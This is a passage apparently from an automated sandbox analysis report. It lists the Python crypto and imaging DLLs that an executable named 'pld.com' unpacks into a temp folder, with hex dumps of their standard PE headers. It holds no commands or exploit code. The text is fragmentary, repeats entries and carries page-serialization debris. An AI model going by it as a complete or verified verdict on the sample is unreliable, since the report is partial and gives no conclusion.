00000000-00007420] "_ed25519.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\PublicKey\_ed25519.pyd]- [targetUID: 00000000-00007420] "_SHA224.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Hash\_SHA224.pyd]- [targetUID: 00000000-00007420] "_SHA256.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Hash\_SHA256.pyd]- [targetUID: 00000000-00001384] "_raw_eksblowfish.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_raw_eksblowfish.pyd]- [targetUID: 00000000-00007420] "_raw_blowfish.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_raw_blowfish.pyd]- [targetUID: 00000000-00007420] "_curve25519.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\PublicKey\_curve25519.pyd]- [targetUID: 00000000-00007420] "_SHA1.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Hash\_SHA1.pyd]- [targetUID: 00000000-00001384] "_raw_ocb.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_raw_ocb.pyd]- [targetUID: 00000000-00007420] "_MD5.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Hash\_MD5.pyd]- [targetUID: 00000000-00007420]4b:T22fa,"mfc140u.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\_MEI74202\Pythonwin\mfc140u.dll]- [targetUID: 00000000-00007420] "_imaging.cp312-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\PIL\_imaging.cp312-win_amd64.pyd]- [targetUID: 00000000-00001384] "win32ui.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Pythonwin\win32ui.pyd]- [targetUID: 00000000-00007420] "_ec_ws.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\PublicKey\_ec_ws.pyd]- [targetUID: 00000000-00007420] "_webp.cp312-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\PIL\_webp.cp312-win_amd64.pyd]- [targetUID: 00000000-00007420] "_imagingcms.cp312-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\PIL\_imagingcms.cp312-win_amd64.pyd]- [targetUID: 00000000-00007420] "_ed448.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\PublicKey\_ed448.pyd]- [targetUID: 00000000-00007420] "_curve448.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\PublicKey\_curve448.pyd]- [targetUID: 00000000-00007420] "_raw_des3.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_raw_des3.pyd]- [targetUID: 00000000-00007420] "_raw_des.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_raw_des.pyd]- [targetUID: 00000000-00007420] "_raw_aes.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_raw_aes.pyd]- [targetUID: 00000000-00001384] "_modexp.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Math\_modexp.pyd]- [targetUID: 00000000-00007420] "_SHA384.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Hash\_SHA384.pyd]- [targetUID: 00000000-00007420] "_SHA512.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Hash\_SHA512.pyd]- [targetUID: 00000000-00007420] "_imagingmath.cp312-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\PIL\_imagingmath.cp312-win_amd64.pyd]- [targetUID: 00000000-00001384] "_raw_cast.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_raw_cast.pyd]- [targetUID: 00000000-00007420] "_ed25519.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\PublicKey\_ed25519.pyd]- [targetUID: 00000000-00007420] "_SHA224.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Hash\_SHA224.pyd]- [targetUID: 00000000-00007420] "_SHA256.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Hash\_SHA256.pyd]- [targetUID: 00000000-00001384] "_raw_eksblowfish.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_raw_eksblowfish.pyd]- [targetUID: 00000000-00007420] "_raw_blowfish.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_raw_blowfish.pyd]- [targetUID: 00000000-00007420] "_curve25519.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\PublicKey\_curve25519.pyd]- [targetUID: 00000000-00007420] "_SHA1.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Hash\_SHA1.pyd]- [targetUID: 00000000-00001384] "_raw_ocb.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_raw_ocb.pyd]- [targetUID: 00000000-00007420] "_MD5.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Hash\_MD5.pyd]- [targetUID: 00000000-00007420] "_raw_aesni.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_raw_aesni.pyd]- [targetUID: 00000000-00001384] "_imagingtk.cp312-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\PIL\_imagingtk.cp312-win_amd64.pyd]- [targetUID: 00000000-00007420] "_keccak.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Hash\_keccak.pyd]- [targetUID: 00000000-00007420] "_raw_arc2.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_raw_arc2.pyd]- [targetUID: 00000000-00007420] "_raw_ctr.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_raw_ctr.pyd]- [targetUID: 00000000-00007420] "_MD2.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Hash\_MD2.pyd]- [targetUID: 00000000-00007420] "_BLAKE2b.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Hash\_BLAKE2b.pyd]- [targetUID: 00000000-00007420] "_poly1305.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Hash\_poly1305.pyd]- [targetUID: 00000000-00007420] "_Salsa20.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_Salsa20.pyd]- [targetUID: 00000000-00001384] "_BLAKE2s.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Hash\_BLAKE2s.pyd]- [targetUID: 00000000-00001384] "_RIPEMD160.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Hash\_RIPEMD160.pyd]- [targetUID: 00000000-00007420] "_MD4.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Hash\_MD4.pyd]- [targetUID: 00000000-00007420] "_pkcs1_decode.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_pkcs1_decode.pyd]- [targetUID: 00000000-00007420] "_chacha20.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_chacha20.pyd]- [targetUID: 00000000-00007420] "_ghash_clmul.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Hash\_ghash_clmul.pyd]- [targetUID: 00000000-00007420] "_scrypt.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Protocol\_scrypt.pyd]- [targetUID: 00000000-00001384] "_raw_cfb.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_raw_cfb.pyd]- [targetUID: 00000000-00007420] "_ghash_portable.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Hash\_ghash_portable.pyd]- [targetUID: 00000000-00007420] "_raw_cbc.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_raw_cbc.pyd]- [targetUID: 00000000-00007420] "_raw_ofb.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_raw_ofb.pyd]- [targetUID: 00000000-00007420] "_ARC4.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_ARC4.pyd]- [targetUID: 00000000-00007420] "_raw_ecb.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_raw_ecb.pyd]- [targetUID: 00000000-00007420] "_strxor.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Util\_strxor.pyd]- [targetUID: 00000000-00001384] "_cpuid_c.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Util\_cpuid_c.pyd]- [targetUID: 00000000-00001384]4c:T452d,"pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Cipher\_ARC4.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Cipher\_Salsa20.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Cipher\_chacha20.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Cipher\_pkcs1_decode.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Cipher\_raw_aes.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Cipher\_raw_aesni.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Cipher\_raw_arc2.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Cipher\_raw_blowfish.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Cipher\_raw_cast.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Cipher\_raw_cbc.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Cipher\_raw_cfb.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Cipher\_raw_ctr.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Cipher\_raw_des.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Cipher\_raw_des3.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Cipher\_raw_ecb.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Cipher\_raw_eksblowfish.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Cipher\_raw_ocb.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Cipher\_raw_ofb.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Hash\_BLAKE2b.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Hash\_BLAKE2s.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Hash\_MD2.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Hash\_MD4.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Hash\_MD5.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Hash\_RIPEMD160.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Hash\_SHA1.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Hash\_SHA224.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Hash\_SHA256.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Hash\_SHA384.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Hash\_SHA512.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Hash\_ghash_clmul.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Hash\_ghash_portable.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Hash\_keccak.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Hash\_poly1305.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Math\_modexp.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Protocol\_scrypt.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\PublicKey\_curve25519.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\PublicKey\_curve448.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\PublicKey\_ec_ws.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\PublicKey\_ed25519.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\PublicKey\_ed448.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Util\_cpuid_c.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\Cryptodome\Util\_strxor.pyd": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "pld.com" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI74202\PIL\_imaging.cp312-win_amd64.pyd": 